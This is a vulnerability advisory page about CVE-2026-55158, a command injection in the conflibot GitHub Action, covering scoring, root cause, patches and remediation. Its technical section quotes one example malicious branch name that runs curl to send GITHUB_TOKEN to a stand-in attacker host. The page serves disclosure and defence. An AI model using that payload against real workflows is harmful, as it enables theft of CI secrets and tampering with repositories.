What is the CVSS score of CVE-2026-55158?

CVE-2026-55158 has a CVSS 3.1 base score of 9.1 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. EPSS exploitation probability: 0.4%.

Which versions of conflibot are affected by CVE-2026-55158?

conflibot GitHub Action (versions before 1.2.1) allows any user opening a pull request to execute arbitrary commands in your CI/CD pipeline with access to deployment secrets and write credentials.. A patch is available.

How to fix or mitigate CVE-2026-55158?

Within 24 hours: audit all repositories using conflibot and document versions in use; disable the action if not immediately required for operations. Within 7 days: upgrade conflibot to version 1.2.1 or later in all affected repositories, validate deployments to ensure functionality, and review Actions logs for suspicious pull request activity (no public exploit identified at time of analysis). Within 30 days: rotate all repository secrets and deployment tokens accessed by vulnerable workflows, audit merged external pull requests for malicious changes, and implement GitHub Action pinning to commit hashes to reduce future supply-chain risk.

conflibot CVE-2026-55158

EUVD-2026-78769 CRITICAL

OS Command Injection (CWE-78)

2026-08-17 https://github.com/wktk/conflibot

GHSA-2qvg-qr73-mqxp

Command Injection Node.js

9.1

CVSS 3.1 · Vendor: https://github.com/wktk/conflibot

Severity by source

Vendor (https://github.com/wktk/conflibot) PRIMARY

9.1 CRITICAL

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

vuln.today AI

9.1 CRITICAL

Any user can open a PR (AV:N, PR:N, UI:N) and a crafted branch name auto-executes commands yielding token/secret theft and repo writes (C:H/I:H); no availability impact and no cross-system scope change (A:N, S:U).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/wktk/conflibot).

CVSS VectorVendor: https://github.com/wktk/conflibot

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Aug 17, 2026 - 14:31 vuln.today

Analysis Generated

Aug 17, 2026 - 14:31 vuln.today

CVE Published

Aug 17, 2026 - 13:35 github-advisory

CRITICAL 9.1

DescriptionCVE.org

Impact

Versions of conflibot before 1.2.1 build git commands by string interpolation and run them through a shell. Several of the interpolated values are pull request branch names (head.ref), which are attacker-controlled: anyone can open a pull request (including from a fork) whose head branch name contains shell metacharacters such as ` `, $( ), ;, |, or &`.

The recommended workflow runs conflibot on the pull_request_target event, where the job has access to the base repository's secrets and a write-scoped GITHUB_TOKEN. As a result, a crafted branch name causes arbitrary command execution on the runner with that write token in the environment, allowing an attacker to exfiltrate secrets and the token, push to the repository, or otherwise abuse the token's permissions. No special privileges and no maintainer interaction are required - the action runs automatically when the pull request is opened.

Affected configurations

Any workflow using wktk/conflibot at a version earlier than 1.2.1. The risk is highest under pull_request_target (the documented configuration), because that is where the write token and secrets are exposed to attacker-influenced refs.

Patches

Fixed in 1.2.1 and 2.0.0. All git invocations now use argument arrays via execFile/spawn instead of a shell, so branch names can no longer be interpreted as shell syntax, and pull requests are referenced by number through refs/pull/<n>/head rather than by branch name.

Workarounds

There is no configuration-only workaround for affected versions. Upgrade to wktk/conflibot@v2. On GitHub-hosted runners this is a drop-in upgrade; self-hosted runners additionally need Node.js 24 support and git 2.38 or later.

Resources

Fix (v2.0.0): https://github.com/wktk/conflibot/commit/0107ac6
Fix (v1.2.1): https://github.com/wktk/conflibot/commit/59e255c
Releases: https://github.com/wktk/conflibot/releases/tag/v2.0.0 and https://github.com/wktk/conflibot/releases/tag/v1.2.1

Articles & Coverage 2

News 4 New Node.js Vulnerabilities - 2 Critical, 2 With POC Aug 18, 2026 News Critical RCE in conflibot GitHub Action (Node.js) - CVE-2026-55158 Aug 17, 2026

AnalysisAI

Arbitrary command execution in the conflibot GitHub Action (versions before 1.2.1) lets any user who opens a pull request run shell commands on the workflow runner. conflibot builds git commands via string interpolation and executes them through a shell, and one interpolated value is the attacker-controlled PR head branch name (head.ref); a branch name containing shell metacharacters is executed as code. Under the documented pull_request_target configuration the runner holds a write-scoped GITHUB_TOKEN and repository secrets, so this is a critical CI/CD supply-chain exposure (CVSS 9.1). There is no public exploit identified at time of analysis, but the technique is well understood and the trigger is trivial.

Technical ContextAI

conflibot is a Node.js-based GitHub Action that detects merge conflicts between pull requests by fetching refs and running git merge/format-patch operations. The root cause is CWE-78 (OS Command Injection): the vulnerable code (system(command)) passed a single interpolated string such as git checkout ${pull.data.head.ref} and git format-patch origin/${base.ref}..origin/${head.ref} to child_process.exec, which spawns a shell. Because GitHub allows arbitrary branch names, an attacker names their fork branch something like $(curl attacker/$GITHUB_TOKEN) and the shell evaluates it. The CPE identifier pkg:actions/wktk_conflibot confirms this is a GitHub Actions marketplace action rather than a library. The fix (commits 0107ac6 and 59e255c) replaces exec with execFile/spawn using argument arrays (no shell) and references PRs by number via refs/pull/<n>/head, so untrusted branch names never reach git.

RemediationAI

Vendor-released patch: upgrade to wktk/conflibot@v2 (2.0.0), or to 1.2.1 on the v1 line. On GitHub-hosted runners v2 is a drop-in upgrade; self-hosted runners must additionally provide Node.js 24 and git 2.38 or later before moving to v2. The vendor states there is no configuration-only workaround for affected versions, so patching is mandatory. As interim compensating controls until the pin is bumped, you can stop running the action on pull_request_target and switch to the plain pull_request event (trade-off: the job then runs with a read-only token and cannot post status/comments that require write access, reducing the action's usefulness), or gate the workflow so it does not run automatically on fork PRs (trade-off: conflict detection no longer covers external contributions, which is much of its value). Reference the fix commits 0107ac6 (v2.0.0) and 59e255c (v1.2.1) and advisory GHSA-2qvg-qr73-mqxp. After upgrading, rotate any secrets that may have been exposed to prior runs.